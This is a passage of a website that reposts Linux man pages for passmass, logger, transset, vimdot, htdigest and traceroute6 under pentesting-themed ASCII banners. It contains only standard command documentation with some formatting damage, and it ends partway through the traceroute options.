              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1758 - Linux cli command passmass

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command passmass and provides detailed information about the command passmass, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the passmass.

NAME 🖥️ passmass 🖥️

change password on multiple machines

SYNOPSIS

passmass [ host1 host2 host3 … ]

INTRODUCTION

Passmass changes a password on multiple machines. If you have accounts on several machines that do not share password databases, Passmass can help you keep them all in sync. This, in turn, will make it easier to change them more frequently.

When Passmass runs, it asks you for the old and new passwords. (If you are changing root passwords and have equivalencing, the old password is not used and may be omitted.)

Passmass understands the “usual” conventions. Additional arguments may be used for tuning. They affect all hosts which follow until another argument overrides it. For example, if you are known as “libes” on host1 and host2, but “don” on host3, you would say:

passmass host1 host2 -user don host3

Arguments are:

-user
User whose password will be changed. By default, the current user is used.

-rlogin
Use rlogin to access host. (default)

-slogin
Use slogin to access host.

-ssh
Use ssh to access host.

-telnet
Use telnet to access host.

-program
Next argument is a program to run to set the password. Default is “passwd”. Other common choices are “yppasswd” and “set passwd” (e.g., VMS hosts). A program name such as “password fred” can be used to create entries for new accounts (when run as root).

-prompt
Next argument is a prompt suffix pattern. This allows the script to know when the shell is prompting. The default is “# " for root and “% " for non-root accounts.

-timeout
Next argument is the number of seconds to wait for responses. Default is 30 but some systems can be much slower logging in.

-su
Next argument is 1 or 0. If 1, you are additionally prompted for a root password which is used to su after logging in. root’s password is changed rather than the user’s. This is useful for hosts which do not allow root to log in.

HOW TO USE

The best way to run Passmass is to put the command in a one-line shell script or alias. Whenever you get a new account on a new machine, add the appropriate arguments to the command. Then run it whenever you want to change your passwords on all the hosts.

CAVEATS

Using the same password on multiple hosts carries risks. In particular, if the password can be stolen, then all of your accounts are at risk. Thus, you should not use Passmass in situations where your password is visible, such as across a network which hackers are known to eavesdrop.

On the other hand, if you have enough accounts with different passwords, you may end up writing them down somewhere - and that can be a security problem. Funny story: my college roommate had an 11"x13” piece of paper on which he had listed accounts and passwords all across the Internet. This was several years worth of careful work and he carried it with him everywhere he went. Well one day, he forgot to remove it from his jeans, and we found a perfectly blank sheet of paper when we took out the wash the following day!

SEE ALSO

“Exploring Expect: A Tcl-Based Toolkit for Automating Interactive Programs” by Don Libes, O’Reilly and Associates, January 1995.

AUTHOR

Don Libes, National Institute of Standards and Technology

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1759 - Linux cli command logger

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command logger and provides detailed information about the command logger, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the logger.

NAME 🖥️ logger 🖥️

enter messages into the system log

SYNOPSIS

logger [options] message

DESCRIPTION

logger makes entries in the system log.

When the optional message argument is present, it is written to the log. If it is not present, and the -f option is not given either, then standard input is logged.

OPTIONS

-d, –udp

Use datagrams (UDP) only. By default the connection is tried to the syslog port defined in /etc/services, which is often 514.

See also –server and –socket to specify where to connect.

-e, –skip-empty

Ignore empty lines when processing files. An empty line is defined to be a line without any characters. Thus a line consisting only of whitespace is NOT considered empty. Note that when the –prio-prefix option is specified, the priority is not part of the line. Thus an empty line in this mode is a line that does not have any characters after the priority prefix (e.g., <13>).

-f, –file file

Log the contents of the specified file. This option cannot be combined with a command-line message.

-i

Log the PID of the logger process with each line.

–id[**=**id]

Log the PID of the logger process with each line. When the optional argument id is specified, then it is used instead of the logger command’s PID. The use of –id=$$ (PPID) is recommended in scripts that send several messages.

Note that the system logging infrastructure (for example systemd when listening on /dev/log) may follow local socket credentials to overwrite the PID specified in the message. logger(1) is able to set those socket credentials to the given id, but only if you have root permissions and a process with the specified PID exists, otherwise the socket credentials are not modified and the problem is silently ignored.

–journald[**=**file]

Write a systemd journal entry. The entry is read from the given file, when specified, otherwise from standard input. Each line must begin with a field that is accepted by journald; see systemd.journal-fields(7) for details. The use of a MESSAGE_ID field is generally a good idea, as it makes finding entries easy. Examples:

logger –journald «end MESSAGE_ID=67feb6ffbaf24c5cbec13c008dd72309 MESSAGE=The dogs bark, but the caravan goes on. DOGS=bark CARAVAN=goes on end

logger –journald=entry.txt

Notice that –journald will ignore values of other options, such as priority. If priority is needed it must be within input, and use PRIORITY field. The simple execution of journalctl(1) will display MESSAGE field. Use journalctl –output json-pretty to see rest of the fields.

To include newlines in MESSAGE, specify MESSAGE several times. This is handled as a special case, other fields will be stored as an array in the journal if they appear multiple times.

–msgid msgid

Sets the RFC 5424 <https://tools.ietf.org/html/rfc5424> MSGID field. Note that the space character is not permitted inside of msgid. This option is only used if –rfc5424 is specified as well; otherwise, it is silently ignored.

-n, –server server

Write to the specified remote syslog server instead of to the system log socket. Unless –udp or –tcp is specified, logger will first try to use UDP, but if this fails a TCP connection is attempted.

–no-act

Causes everything to be done except for writing the log message to the system log, and removing the connection to the journal. This option can be used together with –stderr for testing purposes.

–octet-count

Use the RFC 6587 <https://tools.ietf.org/html/rfc6587> octet counting framing method for sending messages. When this option is not used, the default is no framing on UDP, and RFC6587 non-transparent framing (also known as octet stuffing) on TCP.

-P, –port port

Use the specified port. When this option is not specified, the port defaults to syslog for udp and to syslog-conn for tcp connections.

-p, –priority priority

Enter the message into the log with the specified priority. The priority may be specified numerically or as a facility.level pair. For example, -p local3.info logs the message as informational in the local3 facility. The default is user.notice.

–prio-prefix

Look for a syslog prefix on every line read from standard input. This prefix is a decimal number within angle brackets that encodes both the facility and the level. The number is constructed by multiplying the facility by 8 and then adding the level. For example, local0.info, meaning facility=16 and level=6, becomes <134>.

If the prefix contains no facility, the facility defaults to what is specified by the -p option. Similarly, if no prefix is provided, the line is logged using the priority given with -p.

This option doesn’t affect a command-line message.

–rfc3164

Use the RFC 3164 <https://tools.ietf.org/html/rfc3164> BSD syslog protocol to submit messages to a remote server.

–rfc5424[**=**without]

Use the RFC 5424 <https://tools.ietf.org/html/rfc5424> syslog protocol to submit messages to a remote server. The optional without argument can be a comma-separated list of the following values: notq, notime, nohost.

The notq value suppresses the time-quality structured data from the submitted message. The time-quality information shows whether the local clock was synchronized plus the maximum number of microseconds the timestamp might be off. The time quality is also automatically suppressed when –sd-id timeQuality is specified.

The notime value (which implies notq) suppresses the complete sender timestamp that is in ISO-8601 format, including microseconds and timezone.

The nohost value suppresses gethostname(2) information from the message header.

The RFC 5424 protocol has been the default for logger since version 2.26.

-s, –stderr

Output the message to standard error as well as to the system log.

–sd-id name[**@**digits]

Specifies a structured data element ID for an RFC 5424 message header. The option has to be used before –sd-param to introduce a new element. The number of structured data elements is unlimited. The ID (name plus possibly **@**digits) is case-sensitive and uniquely identifies the type and purpose of the element. The same ID must not exist more than once in a message. The **@**digits part is required for user-defined non-standardized IDs.

logger currently generates the timeQuality standardized element only. RFC 5424 also describes the elements origin (with parameters ip, enterpriseId, software and swVersion) and meta (with parameters sequenceId, sysUpTime and language). These element IDs may be specified without the **@**digits suffix.

–sd-param name=value

Specifies a structured data element parameter, a name and value pair. The option has to be used after –sd-id and may be specified more than once for the same element. Note that the quotation marks around value are required and must be escaped on the command line.

logger --rfc5424 --sd-id zoo@123             \
                     --sd-param tiger="hungry"   \
                     --sd-param zebra="running"  \
                     --sd-id manager@123         \
                     --sd-param onMeeting="yes"  \
                     "this is message"

produces:

<13>1 2015-10-01T14:07:59.168662+02:00 ws kzak - - [timeQuality tzKnown=“1” isSynced=“1” syncAccuracy=“218616”][zoo@123 tiger=“hungry” zebra=“running”][manager@123 onMeeting=“yes”] this is message

-S, –size size

Sets the maximum permitted message size to size. The default is 1KiB characters, which is the limit traditionally used and specified in RFC 3164. With RFC 5424, this limit has become flexible. A good assumption is that RFC 5424 receivers can at least process 4KiB messages.

Most receivers accept messages larger than 1KiB over any type of syslog protocol. As such, the –size option affects logger in all cases (not only when –rfc5424 was used).

Note: the message-size limit limits the overall message size, including the syslog header. Header sizes vary depending on the selected options and the hostname length. As a rule of thumb, headers are usually not longer than 50 to 80 characters. When selecting a maximum message size, it is important to ensure that the receiver supports the max size as well, otherwise messages may become truncated. Again, as a rule of thumb two to four KiB message size should generally be OK, whereas anything larger should be verified to work.

–socket-errors[**=**mode]

Print errors about Unix socket connections. The mode can be a value of off, on, or auto. When the mode is auto, then logger will detect if the init process is systemd(1), and if so assumption is made /dev/log can be used early at boot. Other init systems lack of /dev/log will not cause errors that is identical with messaging using openlog(3) system call. The logger(1) before version 2.26 used openlog(3), and hence was unable to detected loss of messages sent to Unix sockets.

The default mode is auto. When errors are not enabled lost messages are not communicated and will result to successful exit status of logger(1) invocation.

-T, –tcp

Use stream (TCP) only. By default the connection is tried to the syslog-conn port defined in /etc/services, which is often 601.

See also –server and –socket to specify where to connect.

-t, –tag tag

Mark every line to be logged with the specified tag. The default tag is the name of the user logged in on the terminal (or a user name based on effective user ID).

-u, –socket socket

Write to the specified socket instead of to the system log socket.

End the argument list. This allows the message to start with a hyphen (-).

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

EXIT STATUS

The logger utility exits 0 on success, and >0 if an error occurs.

FACILITIES AND LEVELS

Valid facility names are:

auth
authpriv for security information of a sensitive nature
cron

daemon
ftp
kern cannot be generated from userspace process, automatically converted to user

lpr
mail
news
syslog
user
uucp
local0
to
local7
security deprecated synonym for auth

Valid level names are:

emerg
alert
crit
err
warning
notice
info
debug
panic deprecated synonym for emerg
error deprecated synonym for err
warn deprecated synonym for warning

For the priority order and intended purposes of these facilities and levels, see syslog(3).

CONFORMING TO

The logger command is expected to be IEEE Std 1003.2 (“POSIX.2”) compatible.

EXAMPLES

logger System rebooted

logger -p local0.notice -t HOSTIDM -f /dev/idmc

logger -n loghost.example.com System rebooted

AUTHORS

The logger command was originally written by University of California in 1983-1993 and later rewritten by

and

SEE ALSO

journalctl(1), syslog(3), systemd.journal-fields(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The logger command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1760 - Linux cli command transset

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command transset and provides detailed information about the command transset, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the transset.

NAME 🖥️ transset 🖥️

Set transparency on a window

SYNOPSIS

transset [-options …] [opacity]

DESCRIPTION

transset is a simple program for X servers supporting the XFIXES, DAMAGE, and COMPOSITE extensions. It lets the user set the transparency on a window.

The opacity value is a number from 0 to 1, with zero being fully transparent and 1 being fully opaque. If no opacity argument is given, a default value of 0.75 is used for the opacity value. If neither –inc nor –dec are given, the opacity is treated as an absolute value and set to the given opacity value. If –inc or –dec is specified, then the opacity is treated as a relative value to increase or decrease the current opacity by.

OPTIONS

-display display
This option specifies the server to use; see X(7).

-h, –help
This option displays a help message and exits.

-t, –toggle
This option forces a toggle of opacity. If the current opacity is not set to fully opaque (opacity 1.0), it will be reset to fully opaque. If the window is already fully opaque, the opacity will be set normally.

-c, –click
This option selects the target window by waiting for the user to click the mouse - the topmost window under the mouse cursor when the mouse click occurs will be used as the target.

-p, –point
This option selects the window currently under the cursor to be the target.

-a, –actual
This option selects the window that currently has input focus to be the target.

-n, –name name
This option selects the target window by name, where name is matched as a regular expression, unless –no-regex is also specified.

–no-regex
This option disables treating the name argument to –name as a regular expression.

-i, –id
This option selects the target window by window id.

–inc
This option increases the window opacity by the given opacity argument.

–dec
This option decreases the window opacity by the given opacity argument.

-m, –min opacity
This option sets the minimum possible opacity value. It defaults to 0 if this option is not given.

-x, –max opacity
This option sets the maximum possible opacity value. It defaults to 1 if this option is not given.

-v, –verbose
This option prints some additional debug info as the program operates.

-V, –version
This option prints the program version number and exits.

BUGS

Probably. Please report any you find to https://gitlab.freedesktop.org/xorg/app/transset/.

AUTHORS

Matthew Hawn

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1761 - Linux cli command vimdot

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vimdot and provides detailed information about the command vimdot, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vimdot.

NAME 🖥️ vimdot 🖥️

Combined text editor and dot viewer

SYNOPSIS

vimdot [file]

DESCRIPTION

vimdot is a simple script which launches the gvim or vim editor along with a GUI window showing the dot output of the edited file. The dot output window automatically refreshes everytime the file is saved in the editor.

If no filename is given, vimdot will use ’noname.dot’ and initialise it with an example graph to get you started.

SEE ALSO

vim(1), dot(1)

AUTHOR

vimdot was written by John Ellson <[email protected]>

This manual page was written by David Claughton <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1762 - Linux cli command htdigest

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command htdigest and provides detailed information about the command htdigest, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the htdigest.

\1

\1

NAME 🖥️ htdigest 🖥️

manage user files for digest authentication

SYNOPSIS

htdigest [ -c ] passwdfile realm username

SUMMARY

htdigest is used to create and update the flat-files used to store usernames, realm and password for digest authentication of HTTP users. Resources available from the Apache HTTP server can be restricted to just the users listed in the files created by htdigest.

This manual page only lists the command line arguments. For details of the directives necessary to configure digest authentication in httpd see the Apache manual, which is part of the Apache distribution or can be found at http://httpd.apache.org/.

OPTIONS

-c
Create the passwdfile. If passwdfile already exists, it is deleted first.

passwdfile
Name of the file to contain the username, realm and password. If -c is given, this file is created if it does not already exist, or deleted and recreated if it does exist.

realm
The realm name to which the user name belongs. See http://tools.ietf.org/html/rfc2617#section-3.2.1 for more details.

username
The user name to create or update in passwdfile. If username does not exist is this file, an entry is added. If it does exist, the password is changed.

SECURITY CONSIDERATIONS

This program is not safe as a setuid executable. Do not make it setuid.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1763 - Linux cli command traceroute6

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command traceroute6 and provides detailed information about the command traceroute6, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the traceroute6.

NAME 🖥️ traceroute6 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
